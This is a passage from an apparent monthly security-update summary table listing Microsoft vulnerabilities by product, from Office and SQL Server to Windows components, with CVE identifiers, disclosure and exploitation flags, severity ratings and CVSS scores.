%%cve:2026-118727%%	No	No	-	-	Important	6.5	5.7
%%cve:2026-118728%%	No	No	-	-	Important	6.5	5.7
%%cve:2026-119999%%	No	No	-	-	Important	6.5	5.7
%%cve:2026-123395%%	No	No	-	-	Important	5.9	5.2
%%cve:2026-124178%%	No	No	-	-	Important	6.5	5.7
%%cve:2026-124179%%	No	No	-	-	Important	6.5	5.7
%%cve:2026-124183%%	No	No	-	-	Important	6.5	5.7
Microsoft Office Excel Remote Code Execution Vulnerability
%%cve:2026-116927%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-118292%%	No	No	-	-	Critical	8.8	7.7
%%cve:2026-118293%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-118294%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-118295%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-118296%%	No	No	-	-	Critical	8.8	7.7
%%cve:2026-118297%%	No	No	-	-	Critical	8.8	7.7
%%cve:2026-118298%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-118299%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-118301%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-118302%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-118700%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-118701%%	No	No	-	-	Critical	8.8	7.7
%%cve:2026-118702%%	No	No	-	-	Critical	8.8	7.7
%%cve:2026-118703%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-118704%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-118705%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-118706%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-118707%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-118708%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-118709%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-118710%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-118711%%	No	No	-	-	Critical	8.8	7.7
%%cve:2026-118712%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-118713%%	No	No	-	-	Critical	8.8	7.7
%%cve:2026-118714%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-118716%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-118717%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-118718%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-118719%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-118720%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-118721%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-118722%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-118723%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-118724%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-118726%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-118729%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-118730%%	No	No	-	-	Critical	8.8	7.7
%%cve:2026-118731%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-118732%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-119986%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-120785%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-120786%%	No	No	-	-	Critical	8.8	7.7
%%cve:2026-120788%%	No	No	-	-	Critical	8.8	7.7
%%cve:2026-120789%%	No	No	-	-	Critical	8.8	7.7
%%cve:2026-120790%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-120791%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-123385%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-124170%%	No	No	-	-	Critical	7.5	6.5
%%cve:2026-124174%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-124176%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-124187%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-124229%%	No	No	-	-	Important	6.6	5.8
Microsoft Office Information Disclosure Vulnerability
%%cve:2026-111291%%	No	No	-	-	Important	6.5	5.7
%%cve:2026-111293%%	No	No	-	-	Important	6.5	5.7
%%cve:2026-112731%%	No	No	-	-	Important	6.5	5.7
Microsoft Office Outlook Information Disclosure Vulnerability
%%cve:2026-119993%%	No	No	-	-	Important	6.5	5.7
Microsoft Office Outlook Remote Code Execution Vulnerability
%%cve:2026-110043%%	No	No	-	-	Critical	8.8	7.7
%%cve:2026-110068%%	No	No	-	-	Critical	8.8	7.7
%%cve:2026-111309%%	No	No	-	-	Critical	8.8	7.7
%%cve:2026-119995%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-119996%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-119997%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-123375%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-123376%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-123377%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-123378%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-123379%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-123380%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-123381%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-123382%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-123383%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-123384%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-124227%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-124228%%	No	No	-	-	Important	8.8	7.7
Microsoft Office PowerPoint Information Disclosure Vulnerability
%%cve:2026-112738%%	No	No	-	-	Important	6.5	5.7
%%cve:2026-116922%%	No	No	-	-	Important	6.5	5.7
Microsoft Office PowerPoint Remote Code Execution Vulnerability
%%cve:2026-112734%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-112737%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-120001%%	No	No	-	-	Important	8.8	7.7
Microsoft Office Remote Code Execution Vulnerability
%%cve:2026-111286%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-111289%%	No	No	-	-	Critical	8.8	7.7
%%cve:2026-116717%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-120003%%	No	No	-	-	Critical	8.8	7.7
%%cve:2026-122198%%	No	No	-	-	Important	8.8	7.7
Microsoft Office Security Feature Bypass Vulnerability
%%cve:2026-119998%%	No	No	-	-	Important	6.5	5.7
Microsoft Office SharePoint Elevation of Privilege Vulnerability
%%cve:2026-109466%%	No	No	-	-	Important	8.0	7.0
%%cve:2026-109495%%	No	No	-	-	Important	6.6	5.8
%%cve:2026-109502%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-111296%%	No	No	-	-	Important	8.0	7.0
%%cve:2026-123391%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-80095%%	No	No	-	-	Important	9.0	7.8
%%cve:2026-88176%%	No	No	-	-	Important	8.8	7.7
Microsoft Office SharePoint Information Disclosure Vulnerability
%%cve:2026-109455%%	No	No	-	-	Important	6.5	5.7
%%cve:2026-110057%%	No	No	-	-	Important	6.5	5.7
%%cve:2026-124210%%	No	No	-	-	Important	6.5	5.7
Microsoft Office SharePoint Remote Code Execution Vulnerability
%%cve:2026-109464%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-109472%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-109499%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-110044%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-120000%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-123390%%	No	No	-	-	Important	8.8	7.7
Microsoft Office SharePoint Spoofing Vulnerability
%%cve:2026-109454%%	No	No	-	-	Important	9.0	7.8
%%cve:2026-109456%%	No	No	-	-	Important	4.6	4.0
%%cve:2026-109497%%	No	No	-	-	Important	7.3	6.4
%%cve:2026-109504%%	No	No	-	-	Important	7.3	6.4
%%cve:2026-110045%%	No	No	-	-	Important	7.3	6.4
%%cve:2026-110065%%	No	No	-	-	Important	7.3	6.4
%%cve:2026-111297%%	No	No	-	-	Important	8.0	7.0
%%cve:2026-111300%%	No	No	-	-	Important	7.3	6.4
%%cve:2026-111303%%	No	No	-	-	Important	7.3	6.4
%%cve:2026-112736%%	No	No	-	-	Important	5.3	4.6
Microsoft Office Visio Remote Code Execution Vulnerability
%%cve:2026-109494%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-109496%%	No	No	-	-	Important	8.8	7.7
Microsoft Office Word Information Disclosure Vulnerability
%%cve:2026-110046%%	No	No	-	-	Important	6.5	5.7
%%cve:2026-110051%%	No	No	-	-	Important	6.5	5.7
%%cve:2026-110066%%	No	No	-	-	Important	6.5	5.7
%%cve:2026-111288%%	No	No	-	-	Important	6.5	5.7
%%cve:2026-112720%%	No	No	-	-	Important	5.5	4.8
%%cve:2026-116721%%	No	No	-	-	Important	6.5	5.7
%%cve:2026-124233%%	No	No	-	-	Important	6.5	5.7
Microsoft Office Word Remote Code Execution Vulnerability
%%cve:2026-109491%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-109500%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-109501%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-109503%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-109505%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-110047%%	No	No	-	-	Critical	8.8	7.7
%%cve:2026-110050%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-110052%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-110053%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-110054%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-110056%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-110061%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-110062%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-110064%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-110067%%	No	No	-	-	Critical	8.8	7.7
%%cve:2026-111285%%	No	No	-	-	Critical	8.8	7.7
%%cve:2026-111287%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-111290%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-111294%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-111295%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-111298%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-111299%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-111302%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-111304%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-111306%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-111307%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-111308%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-111310%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-112714%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-112715%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-112716%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-112717%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-112718%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-112719%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-112721%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-112722%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-112723%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-112724%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-112726%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-112728%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-112729%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-112730%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-112733%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-112735%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-112739%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-112741%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-116718%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-116719%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-116720%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-116722%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-116923%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-116925%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-123394%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-124185%%	No	No	-	-	Critical	7.5	6.5
Microsoft Outlook Spoofing Vulnerability
%%cve:2026-124194%%	No	Yes	-	-	Moderate	6.5	5.7
Microsoft PowerPoint Remote Code Execution Vulnerability
%%cve:2026-109487%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-120005%%	No	No	-	-	Critical	8.8	7.7
Microsoft PowerShell Information Disclosure Vulnerability
%%cve:2026-122985%%	No	No	-	-	Important	6.1	5.3
Microsoft PowerShell Security Feature Bypass Vulnerability
%%cve:2026-113815%%	No	No	-	-	Important	4.7	4.1
%%cve:2026-124226%%	No	No	-	-	Important	8.8	7.7
Microsoft QUIC Denial of Service Vulnerability
%%cve:2026-105512%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-88236%%	No	No	-	-	Important	7.5	6.5
Microsoft Raw Image Extension Information Disclosure Vulnerability
%%cve:2026-114166%%	No	No	-	-	Important	5.5	4.8
Microsoft Remote Registry Service Denial of Service Vulnerability
%%cve:2026-105492%%	No	No	-	-	Important	5.3	4.6
Microsoft SQL Server Elevation of Privilege Vulnerability
%%cve:2026-116929%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-116934%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-116944%%	No	No	-	-	Important	7.2	6.3
%%cve:2026-118105%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-118108%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-118109%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-118110%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-118111%%	No	No	-	-	Important	8.0	7.0
%%cve:2026-118112%%	No	No	-	-	Important	8.0	7.0
%%cve:2026-118113%%	No	No	-	-	Important	8.0	7.0
%%cve:2026-118114%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-118115%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-118116%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-118117%%	No	No	-	-	Important	8.0	7.0
%%cve:2026-118118%%	No	No	-	-	Important	8.0	7.0
%%cve:2026-118119%%	No	No	-	-	Important	8.0	7.0
%%cve:2026-118120%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-66813%%	No	No	-	-	Important	8.1	7.1
%%cve:2026-67375%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-67387%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-84010%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-94513%%	No	No	-	-	Important	8.0	7.0
Microsoft SQL Server Information Disclosure Vulnerability
%%cve:2026-116932%%	No	No	-	-	Important	6.5	5.7
%%cve:2026-116935%%	No	No	-	-	Important	6.5	5.7
%%cve:2026-116939%%	No	No	-	-	Important	5.7	5.0
%%cve:2026-116940%%	No	No	-	-	Important	4.9	4.3
%%cve:2026-116943%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-118102%%	No	No	-	-	Important	5.9	5.2
%%cve:2026-118103%%	No	No	-	-	Important	6.5	5.7
%%cve:2026-118104%%	No	No	-	-	Important	6.5	5.7
%%cve:2026-67382%%	No	No	-	-	Important	6.5	5.7
%%cve:2026-68783%%	No	No	-	-	Important	6.5	5.7
Microsoft SQL Server Remote Code Execution Vulnerability
%%cve:2026-116930%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-116931%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-116933%%	No	No	-	-	Important	7.2	6.3
%%cve:2026-116936%%	No	No	-	-	Important	7.2	6.3
%%cve:2026-116937%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-116938%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-116941%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-116942%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-116945%%	No	No	-	-	Important	9.8	8.5
%%cve:2026-116946%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-116947%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-118106%%	No	No	-	-	Important	8.1	7.1
%%cve:2026-67372%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-67374%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-67391%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-67632%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-67637%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-67646%%	No	No	-	-	Important	8.8	7.7
Microsoft SharePoint Server Elevation of Privilege Vulnerability
%%cve:2026-120002%%	No	No	-	-	Important	9.9	8.6
Microsoft Teams Spoofing Vulnerability
%%cve:2026-116926%%	No	No	-	-	Important	7.5	6.5
Microsoft Teams for Android Spoofing Vulnerability
%%cve:2026-122979%%	No	No	-	-	Important	8.1	7.1
%%cve:2026-69901%%	No	No	-	-	Important	7.5	6.5
Microsoft Trace Data Helper Elevation of Privilege Vulnerability
%%cve:2026-121681%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-122172%%	No	No	-	-	Important	7.8	6.8
Microsoft WDAC OLE DB provider for SQL Remote Code Execution Vulnerability
%%cve:2026-116698%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-116699%%	No	No	-	-	Important	6.5	5.7
%%cve:2026-85838%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-85839%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-88222%%	No	No	-	-	Important	8.8	7.7
Microsoft Windows App Store Elevation of Privilege Vulnerability
%%cve:2026-119987%%	No	No	-	-	Important	7.8	6.8
Microsoft Windows Codecs Library Information Disclosure Vulnerability
%%cve:2026-96150%%	No	No	-	-	Important	5.6	4.9
Microsoft Windows Codecs Library Remote Code Execution Vulnerability
%%cve:2026-113749%%	No	No	-	-	Critical	7.5	6.5
Microsoft Windows Media Foundation Elevation of Privilege Vulnerability
%%cve:2026-122168%%	No	No	-	-	Important	7.8	6.8
Microsoft Windows Media Foundation Remote Code Execution Vulnerability
%%cve:2026-96157%%	No	No	-	-	Important	9.8	8.5
Microsoft Windows SCSI Class System File Elevation of Privilege Vulnerability
%%cve:2026-105586%%	No	No	-	-	Important	7.0	6.1
Microsoft Windows SCSI Class System File Information Disclosure Vulnerability
%%cve:2026-113821%%	No	No	-	-	Important	4.1	3.6
Microsoft Windows Search Component Elevation of Privilege Vulnerability
%%cve:2026-119943%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-119954%%	No	No	-	-	Important	7.8	6.8
Microsoft Windows Speech Elevation of Privilege Vulnerability
%%cve:2026-119904%%	No	No	-	-	Important	7.8	6.8
Microsoft Windows VMSwitch Elevation of Privilege Vulnerability
%%cve:2026-97002%%	No	No	-	-	Important	7.5	6.5
Microsoft Word Remote Code Execution Vulnerability
%%cve:2026-110048%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-110049%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-110055%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-113759%%	No	No	-	-	Important	7.8	6.8
Microsoft XPS Document Converter Elevation of Privilege Vulnerability
%%cve:2026-119881%%	No	No	-	-	Important	8.8	7.7
Microsoft XPS Document Converter Remote Code Execution Vulnerability
%%cve:2026-119880%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-122171%%	No	No	-	-	Important	8.8	7.7
Microsoft Xbox Remote Code Execution Vulnerability
%%cve:2026-66801%%	No	No	-	-	Important
Microsoft.Data.SqlClient Information Disclosure Vulnerability
%%cve:2026-62903%%	No	No	-	-	Important
PowerShell Elevation of Privilege Vulnerability
%%cve:2026-124224%%	No	No	-	-	Important	7.0	6.1
PowerShell Information Disclosure Vulnerability
%%cve:2026-121669%%	No	No	-	-	Important	6.1	5.3
%%cve:2026-121674%%	No	No	-	-	Important	6.1	5.3
%%cve:2026-121675%%	No	No	-	-	Important	6.1	5.3
Quality Windows Audio/Video Experience (QWAVE) service Elevation of Privilege Vulnerability
%%cve:2026-119387%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-119388%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-123389%%	No	No	-	-	Important	7.0	6.1
RPC Runtime Elevation of Privilege Vulnerability
%%cve:2026-83894%%	No	No	-	-	Important	7.0	6.1
Reliable Multicast Transport Driver (RMCAST) Denial of Service Vulnerability
%%cve:2026-116697%%	No	No	-	-	Important	5.9	5.2
Remote Access API Elevation of Privilege Vulnerability
%%cve:2026-119853%%	No	No	-	-	Important	7.8	6.8
Remote Desktop Client Remote Code Execution Vulnerability
%%cve:2026-119390%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-119858%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-119934%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-95964%%	No	No	-	-	Important	7.5	6.5
Remote Desktop Client Tampering Vulnerability
%%cve:2026-119824%%	No	No	-	-	Important	8.8	7.7
Remote Desktop Gateway Service Elevation of Privilege Vulnerability
%%cve:2026-80094%%	No	No	-	-	Important	7.5	6.5
Remote Desktop Services Remote Code Execution Vulnerability
%%cve:2026-108401%%	No	No	-	-	Important	8.8	7.7
Remote Procedure Call Denial of Service Vulnerability
%%cve:2026-119972%%	No	No	-	-	Important	5.9	5.2
Remote Procedure Call Runtime Remote Code Execution Vulnerability
%%cve:2026-118737%%	No	No	-	-	Critical	8.1	7.1
Role: DNS Server Denial of Service Vulnerability
%%cve:2026-96017%%	No	No	-	-	Important	4.9	4.3
%%cve:2026-96975%%	No	No	-	-	Important	5.9	5.2
SQL Server Remote Code Execution Vulnerability
%%cve:2026-88111%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-94511%%	No	No	-	-	Important	8.8	7.7
Secondary Logon Information Disclosure Vulnerability
%%cve:2026-96989%%	No	No	-	-	Important	5.5	4.8
Server for NFS Information Disclosure Vulnerability
%%cve:2026-118140%%	No	No	-	-	Important	5.5	4.8
Servicing Stack Updates Elevation of Privilege Vulnerability
%%cve:2026-88235%%	No	No	-	-	Important	7.8	6.8
Software Protection Platform (SPP) Elevation of Privilege Vulnerability
%%cve:2026-113748%%	No	No	-	-	Important	7.8	6.8
Storport.sys Driver Information Disclosure Vulnerability
%%cve:2026-119395%%	No	No	-	-	Important	4.0	3.5
Virtual Hard Disk (VHD) Miniport Driver Remote Code Execution Vulnerability
%%cve:2026-119849%%	No	No	-	-	Important	7.0	6.1
Visual Studio Code Elevation of Privilege Vulnerability
%%cve:2026-119981%%	No	No	-	-	Important	7.0	6.1
Visual Studio Code GitHub Pull Requests and Issues Extension Information Disclosure Vulnerability
%%cve:2026-119976%%	No	No	-	-	Important	6.5	5.7
Visual Studio Code Information Disclosure Vulnerability
%%cve:2026-102230%%	No	No	-	-	Important	7.4	6.4
Visual Studio Code Remote Code Execution Vulnerability
%%cve:2026-119975%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-119985%%	No	No	-	-	Important	8.3	7.2
%%cve:2026-120779%%	No	No	-	-	Important	9.6	8.3
%%cve:2026-120780%%	No	No	-	-	Important	8.3	7.2
%%cve:2026-121662%%	No	No	-	-	Important	8.6	7.5
%%cve:2026-121664%%	No	No	-	-	Important	8.3	7.2
%%cve:2026-70094%%	No	No	-	-	Important	8.8	7.7
Visual Studio Code Security Feature Bypass Vulnerability
%%cve:2026-102236%%	No	No	-	-	Important	8.6	7.5
%%cve:2026-114171%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-119982%%	No	No	-	-	Important	6.5	5.7
%%cve:2026-119983%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-120782%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-121660%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-121661%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-121663%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-121665%%	No	No	-	-	Important	8.8	7.7
Visual Studio Remote Code Execution Vulnerability
%%cve:2026-114151%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-114152%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-114158%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-114159%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-118745%%	No	No	-	-	Important	8.8	7.7
Volume Shadow Copy Elevation of Privilege Vulnerability
%%cve:2026-105017%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-119941%%	No	No	-	-	Important	7.8	6.8
Win32k Information Disclosure Vulnerability
%%cve:2026-119825%%	No	No	-	-	Important	5.5	4.8
%%cve:2026-119856%%	No	No	-	-	Important	5.5	4.8
%%cve:2026-119910%%	No	No	-	-	Important	4.7	4.1
%%cve:2026-95893%%	No	No	-	-	Important	5.5	4.8
Windows Domain Name Service Remote Code Execution Vulnerability
%%cve:2026-112727%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-96002%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-96020%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-96064%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-96092%%	No	No	-	-	Important	8.1	7.1
%%cve:2026-96177%%	No	No	-	-	Important	8.1	7.1
Windows Active Directory Certificate Services Information Disclosure Vulnerability
%%cve:2026-95884%%	No	No	-	-	Important	5.3	4.6
Windows Active Directory Certificate Services Security Feature Bypass
%%cve:2026-105590%%	No	No	-	-	Important	5.3	4.6
Windows Active Directory Denial of Service Vulnerability
%%cve:2026-105559%%	No	No	-	-	Important	6.5	5.7
Windows Active Directory Domain Services Denial of Service Vulnerability
%%cve:2026-105568%%	No	No	-	-	Important	6.5	5.7
Windows Active Directory Domain Services Remote Code Execution Vulnerability
%%cve:2026-118146%%	No	No	-	-	Critical	8.8	7.7
Windows Active Directory Remote Code Execution Vulnerability
%%cve:2026-119948%%	No	No	-	-	Important	7.5	6.5
Windows Admin Center Elevation of Privilege Vulnerability
%%cve:2026-122988%%	No	No	-	-	Important	8.0	7.0
Windows Advanced Rasterization Platform Elevation of Privilege Vulnerability
%%cve:2026-105020%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-105021%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-105022%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-105023%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-105025%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-105026%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-105490%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-105491%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-105493%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-105495%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-105496%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-105497%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-105498%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-105499%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-118215%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-118216%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-118217%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-118218%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-118219%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-118221%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-118222%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-118223%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-118224%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-118225%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-118226%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-118227%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-118228%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-118229%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-118232%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-118277%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-118278%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-118279%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-118280%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-118283%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-94515%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-95960%%	No	No	-	-	Important	8.8	7.7
Windows Advanced Rasterization Platform Information Disclosure Vulnerability
%%cve:2026-118214%%	No	No	-	-	Important	6.5	5.7
Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability
%%cve:2026-88242%%	No	No	-	-	Important	7.0	6.1
Windows App Readiness Service Tampering Vulnerability
%%cve:2026-95944%%	No	No	-	-	Important	5.5	4.8
Windows AppContainer Information Disclosure Vulnerability
%%cve:2026-96018%%	No	No	-	-	Important	6.5	5.7
Windows AppX Deployment Service Elevation of Privilege Vulnerability
%%cve:2026-116714%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-88224%%	No	No	-	-	Important	7.0	6.1
Windows AppX Package Manager Elevation of Privilege Vulnerability
%%cve:2026-96074%%	No	No	-	-	Important	7.8	6.8
Windows Audio Service Elevation of Privilege Vulnerability
%%cve:2026-105541%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-119888%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-119893%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-119894%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-119895%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-121671%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-96038%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-96155%%	No	No	-	-	Important	7.0	6.1
Windows Autopilot Elevation of Privilege Vulnerability
